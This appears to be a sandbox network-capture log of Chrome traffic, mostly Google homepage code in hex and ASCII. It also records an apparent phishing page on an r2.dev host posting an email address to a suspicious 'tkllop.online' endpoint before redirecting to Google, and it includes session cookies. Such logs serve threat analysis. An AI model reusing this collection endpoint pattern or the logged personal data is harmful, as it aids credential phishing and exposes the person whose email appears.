2024-10-07 18:59:39 UTC	1201	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:39 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-Cfcs00yYiIqP0ZzzTr0cAA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 18:59:39 UTC	189	IN	Data Raw: 32 37 33 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f Data Ascii: 2733<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/goo
2024-10-07 18:59:39 UTC	1390	IN	Data Raw: 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 43 66 63 73 30 30 79 59 69 49 71 50 30 5a 7a 7a 54 72 30 63 41 41 22 3e 77 69 6e 64 6f 77 2e 5f 68 73 74 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 43 66 63 73 30 30 79 59 69 49 71 50 30 5a 7a 7a 54 72 30 63 41 41 Data Ascii: gleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="Cfcs00yYiIqP0ZzzTr0cAA">window._hst=Date.now();performance&&performance.mark&&performance.mark("SearchHeadStart");</script><script nonce="Cfcs00yYiIqP0ZzzTr0cAA
2024-10-07 18:59:39 UTC	1390	IN	Data Raw: 22 29 2b 22 3f 61 74 79 70 3d 69 26 63 74 3d 22 2b 53 74 72 69 6e 67 28 61 29 2b 22 26 63 61 64 3d 22 2b 28 62 2b 65 2b 64 29 7d 3b 6d 3d 67 6f 6f 67 6c 65 2e 6b 45 49 3b 67 6f 6f 67 6c 65 2e 67 65 74 45 49 3d 70 3b 67 6f 6f 67 6c 65 2e 67 65 74 4c 45 49 3d 71 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 6b 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 65 3b 63 7c 7c 28 63 3d 74 28 61 2c 62 2c 65 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 Data Ascii: ")+"?atyp=i&ct="+String(a)+"&cad="+(b+e+d)};m=google.kEI;google.getEI=p;google.getLEI=q;google.ml=function(){return null};google.log=function(a,b,c,d,k,e){e=e===void 0?l:e;c\|\|(c=t(a,b,e,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload
2024-10-07 18:59:39 UTC	1390	IN	Data Raw: 6c 65 6d 65 6e 74 29 69 66 28 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 41 22 29 7b 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 68 72 65 66 22 29 3d 3d 3d 22 31 22 3b 62 72 65 61 6b 20 61 7d 61 3d 21 31 7d 61 26 26 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 2c 21 30 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 68 73 3d 7b 68 3a 74 72 75 65 2c 6e 68 73 3a 66 61 6c 73 65 2c 73 69 65 3a 66 61 6c 73 65 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 63 3d 7b 62 74 66 69 3a 66 61 6c 73 65 2c 63 34 74 3a 74 72 75 65 2c 63 61 66 3a 66 61 6c 73 65 2c 63 61 70 3a 32 30 30 30 2c 63 66 72 3a 66 61 6c 73 65 2c 63 6c 69 3a 74 72 75 65 2c Data Ascii: lement)if(a.tagName==="A"){a=a.getAttribute("data-nohref")==="1";break a}a=!1}a&&b.preventDefault()},!0);}).call(this);(function(){google.hs={h:true,nhs:false,sie:false};})();(function(){google.c={btfi:false,c4t:true,caf:false,cap:2000,cfr:false,cli:true,
2024-10-07 18:59:39 UTC	1390	IN	Data Raw: 3d 3d 22 30 70 78 22 29 29 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 68 3d 65 28 61 29 2c 6b 3d 68 2e 6c 65 66 74 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 29 2c 6d 3d 68 2e 74 6f 70 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 29 2c 6e 3d 68 2e 77 69 64 74 68 2c 66 3d 68 2e 68 65 69 67 68 74 2c 67 3d 30 3b 69 66 28 21 62 26 26 66 3c 3d 30 26 26 6e 3c 3d 30 29 72 65 74 75 72 6e 20 67 3b 62 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 6d 2b 66 3c 30 3f 67 3d 32 3a 6d 3e 3d 62 26 26 28 67 3d 34 29 3b 69 66 28 6b 2b 6e Data Ascii: =="0px")):!1}function ea(a,b,c,d,e){var h=e(a),k=h.left+(c?0:window.pageXOffset),m=h.top+(c?0:window.pageYOffset),n=h.width,f=h.height,g=0;if(!b&&f<=0&&n<=0)return g;b=window.innerHeight\|\|document.documentElement.clientHeight;m+f<0?g=2:m>=b&&(g=4);if(k+n
2024-10-07 18:59:39 UTC	1390	IN	Data Raw: 3a 62 7c 7c 78 26 26 74 68 69 73 2e 69 7c 7c 74 68 69 73 2e 6a 7c 7c 74 68 69 73 2e 6c 3f 62 3d 21 31 3a 28 62 3d 74 68 69 73 2e 67 2e 73 72 63 2c 62 3d 74 79 70 65 6f 66 20 62 21 3d 3d 22 73 74 72 69 6e 67 22 7c 7c 21 62 2c 61 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 22 29 2c 62 3d 0a 61 21 3d 3d 6e 75 6c 6c 3f 61 3d 3d 3d 22 31 22 3a 62 7c 7c 74 68 69 73 2e 67 2e 63 6f 6d 70 6c 65 74 65 29 3b 74 68 69 73 2e 41 3d 62 3b 78 7c 7c 74 68 69 73 2e 41 7c 7c 74 68 69 73 2e 69 7c 7c 45 28 74 68 69 73 29 3b 77 26 26 21 63 26 26 46 28 74 68 69 73 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 72 6c 6c 28 61 2e 67 2c 21 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 47 28 61 2c 44 61 74 65 2e 6e 6f Data Ascii: :b\|\|x&&this.i\|\|this.j\|\|this.l?b=!1:(b=this.g.src,b=typeof b!=="string"\|\|!b,a=this.g.getAttribute("data-cmp"),b=a!==null?a==="1":b\|\|this.g.complete);this.A=b;x\|\|this.A\|\|this.i\|\|E(this);w&&!c&&F(this)},E=function(a){google.rll(a.g,!0,function(){G(a,Date.no
2024-10-07 18:59:39 UTC	1390	IN	Data Raw: 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 7c 7c 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 28 61 29 3b 63 3d 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 44 Data Ascii: ")){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.tick=function(a,b,c){google.timers[a]\|\|google.startTick(a);c=c!==void 0?c:D
2024-10-07 18:59:39 UTC	1390	IN	Data Raw: 65 72 73 2e 6c 6f 61 64 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 74 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 66 68 74 22 2c 62 29 3b 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 50 28 61 2e 74 69 6d 65 53 74 61 6d 70 29 26 26 43 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 7d 67 6f 6f 67 6c 65 2e 63 2e 66 Data Ascii: ers.load.t.start=google.stvsc.start;function P(a){if(document.visibilityState==="hidden"){google.c.fh=a;var b;t&&(b=Math.floor(t+a));google.tick("load","fht",b);return!0}return!1}function Q(a){P(a.timeStamp)&&C(document,"visibilitychange",Q,!0)}google.c.f
2024-10-07 18:59:39 UTC	124	IN	Data Raw: 72 74 21 3d 3d 76 6f 69 64 20 30 26 26 28 63 2e 77 73 72 74 3d 62 2e 77 73 72 74 29 3b 69 66 28 68 29 66 6f 72 28 76 61 72 20 6b 3d 30 2c 6d 3b 6d 3d 75 61 5b 6b 2b 2b 5d 3b 29 7b 76 61 72 20 6e 3d 65 5b 6d 5d 3b 6e 26 26 28 63 5b 6d 5d 3d 4d 61 74 68 2e 6d 61 78 28 6e 2d 68 2c 30 29 29 7d 64 3e 30 26 26 28 63 2e 67 73 61 73 72 74 3d 62 2e 74 2e 73 74 61 72 74 2d 0d 0a Data Ascii: rt!==void 0&&(c.wsrt=b.wsrt);if(h)for(var k=0,m;m=ua[k++];){var n=e[m];n&&(c[m]=Math.max(n-h,0))}d>0&&(c.gsasrt=b.t.start-
2024-10-07 18:59:39 UTC	215	IN	Data Raw: 64 31 0d 0a 64 29 3b 62 3d 62 2e 65 3b 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 64 3d 22 22 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 63 29 61 2b 3d 22 22 2b 64 2b 66 2b 22 2e 22 2b 63 5b 66 5d 2c 64 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 67 20 69 6e 20 62 29 61 2b 3d 22 26 22 2b 67 2b 22 3d 22 2b 62 5b 67 5d 3b 66 3d 61 3b 67 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 0a 61 2e 70 75 73 68 28 5b 22 63 73 68 69 64 22 2c 70 2e 5f 63 73 68 69 64 5d 29 3b 62 3d 0d 0a Data Ascii: d1d);b=b.e;a="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";d="";for(var f in c)a+=""+d+f+"."+c[f],d=",";for(var g in b)a+="&"+g+"="+b[g];f=a;g="";a=[];p._cshid&&a.push(["cshid",p._cshid]);b=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49814	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:45 UTC	751	OUT	POST /check_add_user/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive Content-Length: 77 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:45 UTC	77	OUT	Data Raw: 65 6d 61 69 6c 3d 64 73 79 68 72 65 25 34 30 6f 6c 67 6f 6f 6e 69 6b 2e 63 6f 6d 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 53 48 41 5a 4f 52 4e 76 6d 35 4f 6d 6e 57 45 33 26 73 6c 75 67 3d 63 68 65 63 6b 5f 61 64 64 5f 75 73 65 72 Data Ascii: email=dsyhre%40olgoonik.com&NAMEOFTHEGUY=SHAZORNvm5OmnWE3&slug=check_add_user
2024-10-07 18:59:45 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:45 GMT Content-Type: application/json Content-Length: 18 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f3bI8nxZnPaAI%2F6mtKUasGXMg%2F0tBtHVeXSy0rvIybYEq9u1rEHwfgqwdujA9pcJuYiLUNPIubEvVjo%2BNHvNrTP%2FrujM0bpHDRB4K4Y5XRVwB6SeURbFnpHb3iO2H0Y6%2Bl4%2B%2BMyF4MKVSiU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf021509ef378d6-EWR
2024-10-07 18:59:45 UTC	18	IN	Data Raw: 7b 22 64 6f 6e 65 22 3a 20 22 6e 6f 74 79 65 74 22 7d Data Ascii: {"done": "notyet"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49815	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:46 UTC	363	OUT	GET /check_add_user/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:46 UTC	763	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 18:59:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rVE5u9jEIbKRPlZ53w15CbqtlSRMYOQCh81qCVYUyYQDMhKH55r1%2FYtONZC8qUI5KylBXkGbxnN%2BuVFBUWQHWaelzQE66UcfgiIYjW32md5agO0aWxQJZuMNjphHQrJkXGzGzceE5M0hu0c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf0215628d82361-EWR
2024-10-07 18:59:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49816	142.250.186.36	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:47 UTC	615	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
2024-10-07 18:59:47 UTC	1201	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:47 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-vBuLosMMNTqW5MRgYV1QIw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 18:59:47 UTC	189	IN	Data Raw: 32 37 33 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f Data Ascii: 273b<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/goo
2024-10-07 18:59:47 UTC	1390	IN	Data Raw: 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 42 75 4c 6f 73 4d 4d 4e 54 71 57 35 4d 52 67 59 56 31 51 49 77 22 3e 77 69 6e 64 6f 77 2e 5f 68 73 74 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 76 42 75 4c 6f 73 4d 4d 4e 54 71 57 35 4d 52 67 59 56 31 51 49 77 Data Ascii: gleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="vBuLosMMNTqW5MRgYV1QIw">window._hst=Date.now();performance&&performance.mark&&performance.mark("SearchHeadStart");</script><script nonce="vBuLosMMNTqW5MRgYV1QIw
2024-10-07 18:59:47 UTC	1390	IN	Data Raw: 22 29 2b 22 3f 61 74 79 70 3d 69 26 63 74 3d 22 2b 53 74 72 69 6e 67 28 61 29 2b 22 26 63 61 64 3d 22 2b 28 62 2b 65 2b 64 29 7d 3b 6d 3d 67 6f 6f 67 6c 65 2e 6b 45 49 3b 67 6f 6f 67 6c 65 2e 67 65 74 45 49 3d 70 3b 67 6f 6f 67 6c 65 2e 67 65 74 4c 45 49 3d 71 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 6b 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 65 3b 63 7c 7c 28 63 3d 74 28 61 2c 62 2c 65 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 Data Ascii: ")+"?atyp=i&ct="+String(a)+"&cad="+(b+e+d)};m=google.kEI;google.getEI=p;google.getLEI=q;google.ml=function(){return null};google.log=function(a,b,c,d,k,e){e=e===void 0?l:e;c\|\|(c=t(a,b,e,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload
2024-10-07 18:59:47 UTC	1390	IN	Data Raw: 6c 65 6d 65 6e 74 29 69 66 28 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 41 22 29 7b 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 68 72 65 66 22 29 3d 3d 3d 22 31 22 3b 62 72 65 61 6b 20 61 7d 61 3d 21 31 7d 61 26 26 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 2c 21 30 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 68 73 3d 7b 68 3a 74 72 75 65 2c 6e 68 73 3a 66 61 6c 73 65 2c 73 69 65 3a 66 61 6c 73 65 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 63 3d 7b 62 74 66 69 3a 66 61 6c 73 65 2c 63 34 74 3a 74 72 75 65 2c 63 61 66 3a 66 61 6c 73 65 2c 63 61 70 3a 32 30 30 30 2c 63 66 72 3a 66 61 6c 73 65 2c 63 6c 69 3a 74 72 75 65 2c Data Ascii: lement)if(a.tagName==="A"){a=a.getAttribute("data-nohref")==="1";break a}a=!1}a&&b.preventDefault()},!0);}).call(this);(function(){google.hs={h:true,nhs:false,sie:false};})();(function(){google.c={btfi:false,c4t:true,caf:false,cap:2000,cfr:false,cli:true,
2024-10-07 18:59:47 UTC	1390	IN	Data Raw: 3d 3d 22 30 70 78 22 29 29 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 68 3d 65 28 61 29 2c 6b 3d 68 2e 6c 65 66 74 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 29 2c 6d 3d 68 2e 74 6f 70 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 29 2c 6e 3d 68 2e 77 69 64 74 68 2c 66 3d 68 2e 68 65 69 67 68 74 2c 67 3d 30 3b 69 66 28 21 62 26 26 66 3c 3d 30 26 26 6e 3c 3d 30 29 72 65 74 75 72 6e 20 67 3b 62 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 6d 2b 66 3c 30 3f 67 3d 32 3a 6d 3e 3d 62 26 26 28 67 3d 34 29 3b 69 66 28 6b 2b 6e Data Ascii: =="0px")):!1}function ea(a,b,c,d,e){var 